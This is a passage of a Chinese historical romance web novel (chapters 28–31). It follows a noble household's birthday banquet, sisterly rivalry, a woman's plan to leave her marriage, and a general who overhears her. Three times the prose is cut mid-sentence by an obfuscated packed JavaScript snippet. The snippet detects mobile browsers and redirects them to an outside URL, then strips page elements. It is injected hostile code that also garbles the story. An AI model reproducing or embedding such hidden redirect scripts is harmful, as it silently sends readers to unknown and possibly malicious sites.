这才退后两步展开明黄卷轴念道：“奉天承运，皇帝制曰：朕闻《诗经》有云，“南山之寿，不骞不崩”，今有黎门樊氏，秉心淑慎，持家有方。昔年边关告急，老太君深明大义，手书“忠烈”二字以励夫志。后辈克承祖业，镇守北疆，使胡马不敢南窥，此皆老太君教以忠孝，励以节义之功也。今值老太君七秩荣寿，朕心甚悦。特赐：御笔匾额“忠孝贻谋”，朕亲书此四字，愿黎门忠孝家风扬名四海。紫檀嵌玉鸠杖一柄，《边关霁雪图》一卷，此乃宫廷画师奉旨赴北疆，绘黎卿戍守雄关雪后景象，愿以山河壮丽慰老太君思孙之心。内造药膳十匣。积善之家，必有余庆。望老太君颐养天年，永享清平。钦此。” 黎玄接了旨，连忙将太监请去喝茶，院内气氛才松活起来。 江心澜低声嘲笑道：“姐姐怎么满手心都是凉汗？幸而不是皇上亲临，那时你不得吓晕厥了？” 万山雪笑道：“真个的，姜公公分明是那样慈和的人，怎地往那儿一站，立时就不怒自威起来，简直比黎将军还吓人。” “姜公公代表着皇上，有这重身份在自然威严。至于黎偃松，你觉着可怕只是因他不爱说话罢了。是了，你们方才送给老太太的那扇贺寿绘屏真真精巧极了，难为你怎么想出来的，竟有这玲珑心思。” 其实这是万山雪在替江心澜想主意时悟出来的，送礼不一定要拼贵重，到底要送到人心里去才好。 只是裴老爷子那儿，她还是没想到怎样能帮江心澜敲开那扇门，因而只是笑笑，没多做解释。 这时相府来人贺喜，万有善与兰芬并一双儿女亦随后进来，带的贺礼人们且不注意，都盯着万山锦绣兄妹看。 万山锦穿着雨过天青实地纱袍，比万有善还高出半个头来，举手投足皆是书卷清气，嘴角含着一抹不卑不亢的笑意。 多日不见，万山绣也出落得愈发美丽，鹅蛋脸儿白皙无暇，透着一层浅浅的蔷薇色，一双杏眼澄澈如水，眼波流转间泄尽少女的纯真灵秀。 她的身姿完全随了兰芬，腰肢细软不堪一握，行动似弱柳扶风，手持团扇往那儿一站，便是一幅令人赏心悦目的消夏图。 江心澜咋舌：“我从前最烦文人将女子统统写为娇花软玉，今日一见令妹方知所言不虚，真个楚楚动人，我这大嗓门都怕吓到她。” 28. 第 28 章 江心澜见黎家几位夫人都正忙着，恐薄了客人不美，便携万山雪上前帮忙接待。 兰芬一见万山雪来了，急忙撇下儿女们，拉着手问长问短说个没完。 孙夫人挽着兵部侍郎夫人过来了，一把挽住她的手臂笑道：“谁不知道你们娘俩好，待回了娘家慢慢黏糊。人家年轻姊妹们好容易见了面，定有许多体己话要说，咱们老姊妹们自己取乐去岂不好？” 万山绣亲热地拉着万山雪的手冲孙夫人笑得甜美：“还是夫人最懂我们了，我与长姐许久不见，真是思念得很。” 孙夫人笑道：“让江姐姐带你们去水阁里玩儿，缺什么少什么都只管说，到了这儿就如自己家里，若只一味客气，回头饿着渴着委屈着，我可不担责。” 男宾们或在练武场中戏耍，或在前厅闲谈，女眷们则齐聚池塘旁新搭的竹棚底下。半亩荷塘花开正盛，风过之处绿浪翻涌，送来阵阵清芬。棚子四周湘妃帘子半卷，既遮住了火光光的太阳，又纳入了穿水而过的凉风。 每隔几步便置着硕大的冰鉴，丝丝白气氤氲而出，融入风中，更添爽意。酸枝木嵌螺钿的长几上，陈列着时新瓜果并精巧茶点。棚子中间是一座假山隔开，两头各设一处玩耍取乐的地方，一处是投壶比试，一处则放着文房四宝，宾客们无论坐卧说笑，品茗赏花，或是有意显显身手都可自便。 万山绣一待站定，立时有几家贵女围了过来，与她亲热寒暄，而这些女子，万山雪一个也不认识。 要知道，这些官家小姐向来是眼高于顶的，若以门第论起来，万有善不过是相府主簿，可万山绣立身其中，游刃有余。 她对面的红衣女子笑道：“我今儿来得早，说了半日话，有些口渴。” 身后丫鬟为她取来了莲子薄荷茶，万山绣忙拦住，亲手执杯为她倒了一杯温热的茉莉香片，笑道：“姐姐向来脾胃弱，喝那个只怕待会儿又嚷嚷胃疼了，茉莉香片温和，多喝些是无妨的。” 正说话时，一个五六岁的女童疯玩时猛地冲过来，险些撞着江心澜，万山绣眼疾手快，抢步过去一把将女孩揽在怀里，轻声询问可有撞疼。 这时身后快步跟来一位气喘吁吁的妇人，说话带着些江南口音。 万山绣揽着女孩儿笑道：“原来是姚夫人的宝贝囡囡，幸而没撞到桌角，夫人不必担心。” 说着自手腕上褪下一串蜜蜡珠子，温声逗弄孩子：“囡囡看这珠子香不香？拿去玩吧，可莫要再跑快了，当心摔着。” 万山雪从前极少注意这个妹妹，不知何时，那个小小的总爱抿着嘴的女孩，已经长成了言笑从容举止妥帖的大姑娘，连夏日的阳光也格外偏爱于她，穿过竹棚的缝隙，在她身上投下斑驳摇曳的细碎光影，完美得让人挑不出半分瑕疵。 父母之爱子，则为之计深远。万山雪忽地想起这句话来，幼时兰芬对万山锦兄妹俩的严苛情形都浮上心头。 一个字写错，兰芬要求她写十遍；女红不好，兰芬直接剪碎让她重新做起；请来教导规矩的嬷嬷，一处做得不好，罚她将膝盖跪得青紫。 兰芬将她和万山毓高高捧起，却像雕琢玉器一般精心雕刻万山锦兄妹。 这才是爱呵，孩子多一分本领，便多一分安身立命的底气。 江心澜端了一碟玉露团给她：“想什么呢，这样出神？” 万山雪笑笑，低声道：“我在想，我这个人真的很差劲。” 江心澜不在意地笑笑：“这话不好。他人之长非我之短，你若有那样的母亲手把手教导，也能早早学会这些，这些交际能力，便是现在学起也不晚，何必顾影自怜？” 这时有人在背后喊了一声：“姐姐！” 兰雁歌也来了，见过万山绣与江心澜后，她踮着脚尖往不远处一指：“大热天，白站着怪无趣的，咱们去投壶吧。” 一经起头，姑娘们都凑了过来，跃跃欲试。兰雁歌姊妹们谦让一番，让几位闺秀先行，箭矢或轻擦壶口弹开，或是软绵绵地依偎在壶边，惹来一阵善意的低笑。 不知哪个看热闹不嫌事大的喊了一句：“都说将门虎女，这游戏最适合江姐姐与周姐姐，给我们露一手吧！” 周方冰是兵部侍郎家的二女儿，万山雪听说过她骄纵蛮横，从来只肯占上风的，江心澜这一场输赢都不是。赢了得罪人，输了丢江家颜面。 周方冰拨开人群走了出来，朝着江心澜一扬下巴，也不多言，只见她手腕一沉，目光如电，嗖地一声，那箭矢便稳稳地直入壶中。 接下来嗖嗖几下，只有一支未中，女子们都连连喝彩。 她朝着江心澜做了一个请的手势，退在一旁观看。 万山雪有些忧心，江心澜向她点点头，接过竹箭在手里掂了掂，气定神闲，如同戏耍一般，第一支箭稳稳入壶。 第二支箭才一发出，第三支箭紧随而至，将第二支轻轻撞进壶里，随之叮当入壶，众人都看得出了神。 第四支在壶口疾速弹跳几下，发出叮叮几声脆响，万山雪的心都跟着悬到了嗓子眼儿，最终，它从壶口弹跳一下，不情不愿地掉在了旁边的地上，两人打成平手。 可明眼人都看得出来，江心澜的技艺分明炉火纯青，连最后一支箭的掉落都在她的掌控之中，简直比她赢了还要精彩。 江心对周姑娘同样扬了扬下巴：“平了。” 一瞬间的寂静后，是满堂由衷的惊叹夸奖，一碗水端得溜平，并不分厚薄，可周方冰的脸阴沉沉的，连一丝笑意也不肯装出来。 这位周姑娘似乎对江心澜抱有很大的敌意，难不成是为了黎偃松？万山雪暗自揣度着。 这时一个娇柔的声音自身后响起：“两位姐姐珠玉在前，我虽为鱼目，也决不愿错过今日的热闹，必来试试。” 万山绣笑盈盈地排众而出。 兰芬培养她的方向皆在当家主母与琴棋书画、人情交际上，静多动少，劳心多劳力少，故而她身子底儿一直不算好，这会子上赶着来凑热闹，怕也只是为了平复周方冰的心气儿。 果不其然，四支箭矢还未到壶边便轻飘飘地躺地上了，她羞怯一笑：“令诸位见笑了，我倒是有个挽尊的法子，不知是否妥当，若说错了，姊妹们多担待吧。” 她说着从丫鬟手里拿出四枚铜钱丢入壶中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756671|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，说道：“今日是黎家老太太的好日子，我们技不如人的自行认罚，输了的不拘多少，往壶里投俩铜钱，回头送到京郊的慈幼局里去，一则为老太太积福积德，二来咱们也沾沾老太太的福寿，岂不两全？” 万山雪只想着妹妹是解围，却不料她还有这一出法子。 如此一来，输赢反倒不重要，赢了的自然光彩，输了的能积德行善，京城名姝们谁在乎几个铜板？ 她暗暗赞叹，这样年轻，竟有这份灵巧机变，真不负兰芬的苦心教导。 经此一幕，先前的不快弥于无形，而投壶的气氛愈发融洽热烈。之后上场的姑娘们无论出身，都少了几分拘谨，多了几分快乐，那壶里叮叮当当不绝于耳，伴随着女子们的笑声，热闹极了。 兰雁歌连着投了十来次，玩得尽兴了，吃几枚果子，闲话一阵，听说昌王妃来了，便与万山雪一行前往假山那边的棚子底下。 只见一张丈余长的宣纸如云练般铺在巨大的画案上，四周设着数个砚台，里面研好的墨色由浅至深，还备着石青、朱砂等颜料。 昌王妃素来以丹青闻名，据说当年也是凭此获昌王青眼，可有福得见之人却不多，今日一露面便成了众人瞩目的焦点。 她含笑提议：“我等女子，虽不便如男子那般赋诗作词贺寿，何不合作一幅《群芳祝寿图》，以笔代口聊表心意？” 此言一出，诸位精通文墨的姑娘们纷纷颔首称妙。 万山雪于琴棋书画虽不很通，却也知道，众人合画看似热闹随意，实则比独作难多了，每一笔落下去，都可能牵动整幅画的走向。既要心有灵犀，又要风格笔触和谐，又要功底相得益彰，更要克制出风头的冲动。 这些要求，对于乍然相逢之人实在太高了。 昌王妃率先提笔，她笔触沉稳，寥寥几笔便勾勒出嶙峋奇石，定下了基调。众位夫人有才情的自然不在少数，只是此等宴席都默契将露脸机会留给闺阁中的女儿一展身手，便都只含笑看着。 周方冰自告奋勇接过王妃之笔，在石旁以淡墨挥就一丛修竹，立时添了几分清逸之气，昌王妃赞叹不已：“好个利索孩子！” 见她得了王妃称赞，几位姑娘纷纷上前，一位在石缝里点缀了几丛幽兰，一位在画面一角渲染出一株老梅树，虬枝如铁，另一位以朱砂轻点红梅数朵。 众人合力，不多会儿画布已然完成十之七八。 兰雁歌是订了亲事的，原不欲出风头，奈何被昌王妃回身看见嗔怪道：“你这孩子，见了我不说上前反而躲起来，回头我定找你母亲告状。” 她只得笑着上前行了礼，在画卷上方留白处，以极精细的笔法，留下数只翩翩飞舞的彩蝶，由远及近，仿佛正被花香吸引而来，原本静雅的画面突然有了动感，引来众人交口称赞。 万山绣原本站在最后面，不知何时挪到了兰雁歌身旁，笑道：“表妹真会瞒着我们，画技精益如此神速！” 昌王妃抬头看见万山绣，冲众人笑道：“瞧这些孩子们，一个个生得花朵似的，叫我眼花缭乱，不知道看哪一个好。你也来添两笔，咱们这幅祝寿图就可收尾了。” 29. 第 29 章 一时间众人的目光都聚了过来。 万山绣却丝毫不怯场，她落落大方移步至画案前，没有立即执笔，凝神将整幅画作细细观赏一遍，随即转向王妃，软糯嗓音带着恰到好处的几分惶然：“承蒙王妃厚爱，只是这幅画作经由娘娘定下祥和基调，诸位姐妹苦心营造，已然臻至化境，臣女笔力稚拙，只怕贸然落笔不能增色，反而成了画蛇添足之举。” 王妃听罢，脸上的笑意更深几分，说道：“你这孩子，这些姊妹们都是相熟的，何必谦虚藏拙？依我看，” 她伸手指着菊花丛旁的空白说道，“此处留白过大，你就添上一株菊花又何妨？” 万山绣婉顺答应了，笔尖轻移，勾勒出层层叠叠的花瓣，细若游丝密若星雨，是垂丝如瀑的十丈珠帘。 围观的女子们渐渐屏息，连王妃也放下茶盏，微微前倾，目不转睛地看着。 画至最后一丛垂瓣时，她的笔突然悬在半空。 “怎地停了？” 她敛衽软声回道：“回娘娘，这十丈珠帘最难的便是收笔之时的垂落之态，花瓣欲坠不坠，臣女每每败笔于此，斗胆求娘娘指教。” 王妃果然起了身，握住她的手轻声道：“看好了，此处要举重若轻。” 笔尖在纸上轻轻一顿随即向下拖出纤长的线条，只这一笔，那些垂瓣忽地有了生命，仿佛正在秋风里簌簌颤动。 万山绣露出大彻大悟的神情：“怪道人们但凡学艺总不辞山水要拜名师，臣女练了数月，竟不及娘娘一句点拨来得透彻。” 王妃笑意满满：“这孩子，下笔分明极有神韵，偏偏太过谨慎。雁歌，明儿你得了闲，同你表姊到我家里坐坐，书房有许多画谱白白闲着，你们拿去练手吧。” 这时黎家夫人来邀众人开宴，莺莺燕燕纷纷散去，万山雪还怔怔地站在原地出神，她只觉得心中有片笼罩已久的迷雾，此刻天光乍破万里清明。 有人一直在推她，她回过身来才发现是兰雁歌，便问道：“她们人呢？” 兰雁歌嗔怪道：“姐姐莫非魔怔了？喊了你多少遍只是呆着。” 万山雪赶紧问道：“你江姐姐呢？” “她投壶之后就离开了，你怎么了姐姐？莫不是伤热中暑了？”兰雁歌有些担心。 “好妹妹，我这会儿想起至关要紧的一件事来，耽误不得，待会儿再来陪你。”说完急匆匆地走了，留下兰雁歌一脸莫名其妙。 好容易兜了一大圈儿找到江心澜，却要开宴了，被黎家二夫人簇拥着往入了席。 好在江心澜看出她食不知味，待宴席过半后，与她对了个眼色，两人一同溜到门外。 万山雪才开了个头，便不住地有人来来往往，江心澜一偏头道：“走，跟我去黎偃松的书房说。” 万山雪踟蹰：“这样不太好吧？” “没什么，这会子去内院太远了，碰到别人还得喧扯会儿。书房平时只有他在用，极少有人去。左右他们都忙着，不怕的。” 两人一路快步来到书房，将房门从里面锁上。 书房里隔着碧纱橱内侧置有床榻，黎偃松素来极少在这里歇，今日因父亲不能喝酒，只得尽力多灌了几杯。酒量虽不差也有些扛不住，加上早起到午后一直不曾好生坐下来过，只觉得乏得透透的，便谁也没告诉，一个人来了书房歇息。 不曾想才刚躺下，便听见江心澜进来了，他原以为是她带着眺月来这儿躲清静，便合上眼准备睡去。 下一刻却听到她说：“你怎地了？我看你在席上饭菜也没好生吃几口。” “方才投壶比试后，我……咱们在这儿说话当真稳妥？会不会被人听去？” 黎偃松对女孩儿之间的密语不感兴趣，原要起来的，忽地听到那熟悉的嗓音，他本能地顿住，屏住了呼吸，像一个被咒语定住的囚徒，贪婪地捕捉着她的每一丝动静。 他知道自己应该离开，可身体像是有自己的意志完全不听使唤，心里有个声音一遍遍自欺欺人：你本就在这儿睡着…… “心放肚子里吧好姐姐，到底为着什么，你快说。” 万山雪便轻声细语将方才作画的一幕说给江心澜。 江心澜拊掌叹道：“我说你这个妹妹太会拉拢人心了，你看那些姑娘们只想着在王妃面前自然越出色越招人，而她却能恰好露出天分与两分拙来，这些有造诣的人，看见有天赋却亟待指点一把的，自然会忍不住上手教导。更何况昌王妃本来就是心高……” 万山雪忍不住打断她：“我不是要听你分析这个的，你想想，咱们是不是也可用这个法子去打动裴老爷子？” “你是说……” 万山雪凑近她，两个人嘁嘁嚓嚓如此这般计划一番，说得热闹非凡，虽听不清楚，光听语调也知道她们兴奋异常。 不知怎地，听到她这样欢喜，他的心里也不由得轻快起来。 江心澜一下子跳了起来：“哎唷你也太替我操心了，我的好姐姐，要怎么谢你好呢？” “你帮我那么多，我都不曾说一个谢字。再说我这法子尚且不知管不管用呢，你就先客套起来了。方才你只是提前离场，若不然，依照你的聪慧劲儿，还能想不到么？” “嗐，你瞧着方才周方冰那眼神，再待下去要把我吃了，我才不乐意跟她打交道呢！” “你俩有过节？” “什么过节，还不是为着黎偃松！”江心澜没好气地说。 “那会儿给我吓坏了，偶然听说周姑娘脾气不大好，生怕你俩起了争执，老太太的好日子，闹起来可不好。” “你怕什么，大不了我俩约出去叫阵。真要打起来，她爹是文官我爹武将，他俩一齐上阵加上两个兄弟也未必打得过我们父女俩。”江心澜说笑道，“其实这姑娘人不坏，就是有点蠢蠢的，她硬是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756672|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不出别人想看热闹的心思。再者心里也没点儿数，黎偃松要真是对我有什么心思，至于耽搁到现在不婚么？真相搞不明白，就又争又抢的，徒给别人添笑料。” 万山雪惊讶得瞪大了眼睛：“黎将军怎会对你没心思？你这么好的姑娘他不动心，还要去哪儿找更好的？” 江心澜摆摆手：“不是，我俩打小一起长大，就跟自家兄妹一样的，真要朝成亲过日子……不能想，简直觉得有悖人伦。” 万山雪一脸失望：“我自从嫁入崔家，对世间男子和婚姻均已绝望。后来看到你和黎将军在一起，只觉得天下怎有这样般配的人儿，方方面面无一不契合。乍然听你如此说，真有种读话本子结局劳燕分飞的心碎感。” “我俩又没双飞过，你有什么可心碎的？嗳只顾说话，方才你没吃好，我叫人悄悄送些吃的，咱们就在这儿垫补垫补吧。” 万山雪连忙摆手道：“咱们已经耽搁了好一会儿，还是快出去吧，万一撞见了人倒不好。那件事咱们就说定了，明日一大早，我到城门外等你，咱们一同去裴家。” 江心澜拉住她：“好姐姐，再略坐会儿嘛，今日一过，我们再有几天就要离京了，到时候咱们想说话可就难上加难了。你等着，我叫人送两盏茶来。” 黎偃松眼睛一刻不眨透过碧纱看向那个身影，只见她站起来拿起一本书翻了翻，待江心澜进屋后说道：“我以为将军书房里尽是兵书战策，怎也会有做生意的书？” “这就是我爹常说的开卷有益，就譬如经商之家的子弟也会钻研兵法战策，不定哪一处就会有所裨益。你们崔家太太、二爷是世世代代实践出来的经商经验与人脉，那是另一条路。没机会实践又不想走太多弯路的，多读书就是条捷径。” 江心澜取下身上的玉佩，对万山雪说道：“差点儿忘了这件事。这个玉佩姐姐好生收着。我已与家中管家交代过，若是日后你与崔二爷有了口角，或是单单想找个散心之地，就去我家。我家中无儿郎，只留了管家一家子并十几个仆妇丫鬟，都是江家的老人儿了，本分尽职，没有一个是非人，你尽管去住便是。” 万山雪一把攥住她的手，许久才哽咽说道：“我闷在崔家内宅这三年，常叹命运薄待于我……而今才知已得上天如此眷顾，你见识过那么多品貌家世俱佳的姑娘，却还是选择与我做知己，我这个人……” “交友是从心的，若只看个人成就多高，家世有多好，那天下十之八九的人都只配形单影只地活着了。” 江心澜停顿一刻又道，“我看崔二爷似乎对你的态度有所好转，你的决心还一如从前么？” 万山雪毫不犹豫点点头：“有许多事情，我苦于一时无法跟你细说，好妹妹，往后你就知道了。我是非走不可的，只是女子和离代价太大，我需慢慢筹划。” 黎偃松乍听此话，只觉酒气猛然翻涌至心口，咳嗽声破口而出。 30. 第 30 章 这一声咳嗽不打紧，吓得万山雪立时僵住，疾速回忆方才是否说了不妥的话，奈何脑子一片空白，什么也记不起来。 黎偃松曾听景明洲扯闲篇儿：“最是人间藏不住，咳嗽连天，相思绕肠，兜比脸光。” 听时只以为插科打诨，这会子想来，当真是贴切至极。躲是来不及了，干脆闭上眼装睡，仗着酒气遮脸。 江心澜走过来喊了两声，他咳嗽一阵，却充耳不闻，翻过身继续睡。 江心澜又走近唤了几声，见他呼吸绵长，转身对万山雪说道：“不妨事，他酒还不如我呢，才喝了几杯就醉得人事不知。” 万山雪这才放下心来，眺月送来了两盏玫瑰泼卤瓜仁茶，一碟果馅寿字雪花糕，一碟子松花饼，江心澜跌脚叹道：“早知道就要一壶酒来了，咱们举杯为姐姐的决心浮一大白！” 万山雪笑道：“不急，咱们且先以茶代酒。待我真正逃脱樊笼那日，第一件事便是去找你喝酒。” 两人又说了几句话，才命人收拾了杯盏，双双离去了。 黎偃松原以为，她与江心澜私下聊天，无非还是为了弟弟的事情绕路求情，没想到今日不但兰中正只字不提，连她与江心澜的密语也丝毫不曾提及。 “挣脱樊笼”四个字入耳，如一道猝不及防的闪电，劈开了他枯寂多年的心湖。耳边嗡地一声巨响，什么都听不清了，只剩下心在胸膛里狂跳，震得他手足俱软。 他不敢去想，她到底吃了多少苦、攒了多少绝望才下定决心离开，也不知道崔家是否会轻易放人，将来她要面临的又是怎样的疾风骤雨。 思绪繁杂如麻，一会儿觉得前景豁然开朗，连碧纱橱透进的天光都分外亮堂，一会儿又觉得脚下仍是荆棘密布，错综复杂，微弱的可能究竟会不会成真，他毫无把握。 心潮激荡，他再也躺不住，慢慢下床，望向铜镜中那个双目泛红，气息不稳的黎偃松。那人脸上，是独属于年少情动之人才有的莽撞热烈。 他忽地想起那句话“对婚姻，对男子，均已绝望”，指尖慢慢冷却下来。 她离开崔家，是为了逃离囚笼，投身于广袤天地里自由呼吸。若想要靠近她，他就要变成那足以滋养她包容她的天地，而非下一个崔明之。 二十岁的黎偃松，坐在桌前写下十三岁离家时一模一样的话： 道阻且长，行则将至；行而不辍，未来可期。 * 万山雪和江心澜回到宴客厅，兰雁歌微红着脸走了过来，低声说道：“姐姐，葛夫人想见见你呢，说是多年未见，记挂得很。” 她冲江心澜眨眨眼，便随着表妹一道去见葛夫人。 “穿湖绿色褙子的那位，正在与山绣姐姐说话的便是。”兰雁歌轻声说道。 万山雪故作不经意间一打量，吃了一惊悄声道：“这样年轻！” “她与葛大人是恩爱夫妻，儿子虽然不算多争气，却也不淘气，没什么烦心事。” 说话间已经到了跟前，万山雪敛衽行礼，已被葛夫人一把挽住拉在身边坐下：“好孩子，方才我还在说，你父亲真真是好福气，且不论夫人如何明理贤良，单这四个儿女站出来，就够多少人眼热的了，个顶个的好。” 万山雪见她说话时含着笑意，声音清软带着江南特有的水润，眼角虽有岁月添上去的纹路，在她脸上不见老态，反而添了几分柔和恬静。 人过得好不好，是写在脸上的。家有烦心事，哪怕再尽力掩盖，疲态还是会从举手投足间泄露出来。而葛夫人这种被夫君敬爱、儿子省心的顺遂人生所滋养的光彩风致，亦是挡不住的。 谁不想过这样的人生呢？ 万山雪见兰雁歌正与万山绣说话，微微凑近压低声音说道：“前儿在舅舅家，便听舅舅舅母满口称赞夫人和善至极。今日一见夫人气度，不问可知家宅何等安乐祥和，如此，我也替妹妹欢喜无极。” 葛夫人笑道：“你这孩子，夸得我都脸红了。说起来还是我们沾光，京城高门大户不知几何，你舅舅舅母不嫌弃女儿下嫁给我们那不争气的魔王，还不是为着我们是多年密友。人家万事不求，只图女儿婚后日子舒坦，我若再不知足，鸡蛋里面挑骨头，可不是自己作着没福么？往后我与你舅母都在京城长住了，好孩子你别外道，多走动走动。” 说话间，但凡兰雁歌往身边走两步，她便立刻握着手不肯放，孙夫人看见了对黄夫人笑道：“你瞧瞧，不知道的以为人家是母女，你这亲娘倒不如婆媳俩好。” 黄夫人两手一摊笑道：“我也没法子，她年轻那会儿就天天嚷嚷要拿儿子跟我换女儿，到底让她得逞了。” 说得众人都笑起来，万山雪无意中回头，发现只有万山绣一人面无表情地立着，脸上一丝笑意也没有。 她今日出尽风头，左右逢源，还有什么不如意的？万山雪暗暗纳罕。 待去更衣时，听见窗外几个女子低声议论道：“有什么样的娘就有什么样的女儿，你瞧万家二小姐浑身上下八百个心眼子，还自以为手段很高明，旁人都看不出来。” “她姨母去后不久，她娘就登堂入室了，能教养出什么好东西！” “可惜呀，如今世风就吃这一套，到底叫人家得了王妃青睐，像你我这般实心眼子的人，都是呆笨不入眼的。” “任凭她得谁的青眼，我也不羡慕，满庭女孩儿家，我只羡慕俩人。一个江心澜，一个兰雁歌。你瞧她们多么洒脱，连婚姻大事都不必与家族前途挂钩，父母只为着女儿的处境着想，这是千年也难遇的好命……” “是啊，就像兰贺长公主，生于帝王家，金枝玉叶，那样得先皇宠爱，照样要为了家国安稳去跟蛮人联姻……” 说到伤感处，她们的声音渐渐低了下去，终至默然。 万山雪推开门时，见万山绣愣愣地在窗前站着，外面女子们的话，她必然听得清清楚楚。 她与继母有怨仇，姊妹弟兄却都是无辜的，她走上前轻声说道：“人多嘴杂，何必放在心上……” “用不着你来安慰我，”万山绣人前的温柔含蓄尽皆消失，目眦尽裂，“若不是你与万山毓一个整日丢人现眼，一个烂泥扶不上墙，我又何必如此辛苦来为万家挽尊？少在这儿装好人了，想想办法讨好你夫君和婆婆是正经。” 几句话如同狂风，将万山雪心底对手足之情的眷恋彻底卷没了，她环着手臂冷笑道：“从前只知道妹妹身子骨不好，原来耳朵也聋成这样了。你可听清楚了，旁人的流言蜚语里，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756673|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有半句提及你长姐长兄，冤有头债有主，想泄愤也得从根儿找起吧。” 走了半步又踅回来说道：“我方才还四处跟人夸赞我妹妹教养极好，通情达理，照你这么说，全都是演出来的？演技不错嘛，母亲私下给你报了哪儿的戏班子？” 说完飘然而去。 面上虽是淡然，心里却气愤得很。 兰芬已为了这兄妹俩将她姐弟二人逼到死胡同里了，万山绣占尽好处却还好意思委屈满腹，心底腾起的火苗越烧越旺，她忍不往花丛深处走去，借机平复心情。 忽地想起那一日听婆母劝解崔明之时说的俗语“能者计多，拙者气多”，这会子想起来竟很有理，争一时口舌之快做什么？由着她去吧，当务之急是万山毓参军之事。 她暗暗庆幸，幸好方才在书房里不曾跟江姑娘拐弯儿求情，若是被黎将军听去，说不定还要弄巧成拙。 可没过几日他们就要回北疆了，该如何是好？ 她身边是一株栀子花，正值花期，团团簇簇的花瓣堆在墨绿的叶子里散着清芬，她满心发愁，摘了两朵一片片撕碎，又伸手去摘下一朵时，忽听身后有人温声说道：“崔夫人可是迷了路？” 正是黎偃松。 他早就看见她了，立着良久却毫无赏花之意，是在为如何离开崔家发愁么？ 战场上面对千军万马也不曾畏惧过，走向她的短短几十步路，却耗尽了勇气。 她如同做坏事被发现的小孩，连忙将手里的花朵背在身后说道：“没……没有，我在……只是看这花儿开得极好，一时出了神。” 短暂的沉默将空气都凝住，只余花香在二人之间摇曳。万山雪绞尽脑汁想着要怎样开口，急得手心直冒汗，黎偃松看出她的窘迫，佯装从容说道：“夫人不说，我还未曾留意，今年这栀子花开得格外旺盛。” “家宅有喜事，连花草也有感应，都在为老太太贺寿。”她琢磨着如何能将话题引到弟弟身上去，又不会引起反感，只恨自己没有万山绣的七窍玲珑心，情急之下问了一句，“北疆夏日也有栀子花么？” “没有，或者我不留心，未曾见过。” 黎偃松停顿片刻说道，“夏日师母和心澜常去野外采摘一种粉紫色的花，倒是极好看，花瓣如流苏一样，恍惚记得叫高山瞿麦。” “这花儿的名字真好听，一定很美。” 话一出口，万山雪恨不得咬掉自己舌头，懊丧不已，她定神一想，对爹爹那一套根本不适合用在黎偃松身上。对于万有善她是极了解的，能够精准投其所好，可是面对摸不准脾气、又有求于人家的人，倒不如坦坦荡荡的好。 她想了想说道：“黎将军，舍弟……” 黎偃松很干脆地打断她：“此事我已经知道了，也找人去武馆看了他这几日的情况。只是丑话在前，公子有决心入伍自是好事，只是往后若是他耐不住军营苦寒寂寞，生出退缩之心或者违反军规，都是要秉公处置的，望夫人那时莫要责怪。” 万山雪自然是喜出望外，连连保证不会。 黎偃松颔首道：“想必宴席快散了，我送夫人到前面去。” 万山雪看着前面气宇轩昂的将军，忽地想起一事来，他怎会知道弟弟去了武馆？ 31. 第 31 章 黎偃松步子极快，一眼瞥见了不远处正与萧家人谈笑风生的崔明之，他心下一动，忽地放慢了速度，回头低声说了句话。 她满心因着弟弟能入将军青眼而欢喜，以为黎偃松有要紧话交代，快步跟上来，微微仰头问道：“适才没有听清楚，将军嘱咐何事？” 黎偃松淡淡笑道：“我是说，夫人若有空时，便可知会令弟整理行装了，不日就要启程离京。” “啊？好，好，我回去就找他。” 虽日夜盼着望着此事能成，一想到从小到大不曾离开家的弟弟此去便隔着千山万水，仍是满心不舍，她小心询问需要准备的衣物东西时，两人已经并肩出现在众人面前。 忽见崔明之大步走了过来，亲昵地替她理了理发丝，对黎偃松笑道：“将军今日多有辛劳，我们就不多叨扰了，改日再来拜访。” 待夫妻二人离去后，江心澜撇嘴道：“生意人果真是现实，你们瞧瞧，就只兰大人回来前后，万姐姐得到的待遇简直有如云泥之别。想那回，命都要没了也不见他多看一眼。” 景明洲笑道：“无毒不丈夫，你当人家孤儿寡母撑起这么大家业是吃素的么？男人能有几个好东西。” 江心澜闻言笑不可抑，黎偃松乜了一眼说道：“你要说自己就指名道姓，别拉上一整个群体给你陪罪。” 景明洲说道：“我是替她说出后半截话罢了。” “不敢不敢，我看不惯谁就骂谁，用不着指桑骂槐。今日两位大将军可是香饽饽，宴会上过半未婚的姑娘都在盯着你们呢，我有几个胆子敢惹众怒。” 景明洲一脸好奇：“是么，都有谁，快跟我说说。” 